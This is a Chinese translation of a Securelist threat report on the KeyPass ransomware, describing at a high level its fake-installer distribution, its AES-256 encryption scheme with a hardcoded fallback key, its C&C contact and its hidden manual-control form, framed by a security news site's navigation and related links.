输入关键词搜索

APP 登录| 注册
正在爆发的勒索病毒-KeyPass
阅读量 154278 | 稿费 100

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-08-14 17:00:37
译文声明
本文是翻译文章,文章原作者,文章来源:securelist.com
原文地址:https://securelist.com/keypass-ransomware/87412/

译文仅供参考,具体内容表达以及含义原文为准

×

前记
在过去的几天里,我们软件的反勒索模块一直在检测恶意软件的新变种:KeyPass勒索软件。安全社区的其他人也注意到这个勒索软件在8月份开始肆虐传播:

传播方式
根据我们搜集到的信息,分析出该恶意软件通过下载软件勒索模块的虚假安装程序进行传播。

描述
木马样例使用C++编写,并在MS Visual Studio中编译。它是使用MFC库,Boost和Crypto ++开发的。其PE头中包含最近的编译日期。

当在受害者的计算机上启动时,木马会将其可执行文件复制到%LocalAppData%并启动它。然后它将自己在原始位置删除。
之后,它会生成自己进程的多个副本,并将加密密钥和受害者ID作为命令行中的参数进行传递。
KeyPass可从受感染的计算机本地驱动器和网络共享进行枚举,并搜索所有文件,无论其扩展名是什么。它会跳过位于多个目录中的文件,这些目录的路径将被硬编码到样例中。
每个加密文件都会被添加一个额外的扩展名:.KEYPASS,同时名为!!!KEYPASS_DECRYPTION_INFO!!!.txt的赎金票据将会被保存在每一个目录中

加密方案
该木马的开发人员使用了一个非常简单的方案:恶意软件在CFB模式下使用对称算法AES-256,对所有文件使用0 IV和相同的32字节密钥。木马在每个文件的开头加密最多0x500000字节(5 MB)的数据。
启动后不久,KeyPass连接到其命令控制服务器(C&C),并接收当前受害者的加密密钥和感染ID。数据以JSON的形式通过纯HTTP传输。
如果C&C无法访问(例如,如果受感染的计算机未连接到互联网或服务器已关闭),则木马使用硬编码密钥和ID,这意味着在离线加密的情况下,受害者文件的解密将变得没有意义。

GUI
从我们的角度来看,KeyPass木马最有趣的功能是能够采用“手动控制”。木马包含一个默认隐藏的表单,在按下键盘上的特殊按钮后可以显示该表单。此功能可能表明木马背后的犯罪分子打算在必要时手动操作它。

此表单允许攻击者通过更改以下参数来自定义加密过程:

加密密钥
赎金票据的名称
赎金票据文本内容
受害者的ID
加密文件的扩展名
要从加密中排除的路径列表

受感染位置

本文翻译自 securelist.com, 原文链接 。如若转载请注明出处。
安全资讯 恶意软件 勒索软件 KeyPass

一叶飘零 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

PHP反序列化入门之寻找POP链(一)
2019-02-26 11:00:59

【缺陷周话】第23期:双重检查锁定
2019-02-26 10:00:40

2019安恒2月月赛Writeip-Web&Crypto&Misc
2019-02-25 16:00:20

安恒杯2019年2月月赛pwn部分详细分析
2019-02-25 15:30:46
|发表评论
发表你的评论吧
昵称
神奇小子
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
一叶飘零
个人博客:skysec.top
文章
50
粉丝
107
TA的文章
2019安恒2月月赛Writeip-Web&Crypto&Misc
2019-02-25 16:00:20
2019安恒1月月赛Writeip-Web&Crypto&Misc
2019-01-27 11:00:54
JavaScript侧信道时间测量
2019-01-27 10:30:24
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
当中国剩余定理邂逅RSA
2018-11-21 15:50:18
输入关键字搜索内容
相关文章
2月26日每日安全热点 – 首个完整利用WinRAR漏洞传播的恶意样本分析
2月25日每日安全热点 – 地下情报如何拯救金融服务行业
2月24日每日安全热点 – 小米手机内核开源
事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录
2月23日每日安全热点 – 18年成人网站出售账户信息广告增长一倍
预警 | 部分云上用户中招 watchdogs 感染性挖矿病毒
从RSA 2019创新沙盒“十强”看网络安全技术动向
热门推荐
文章目录
前记
传播方式
描述
加密方案
GUI
受感染位置
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank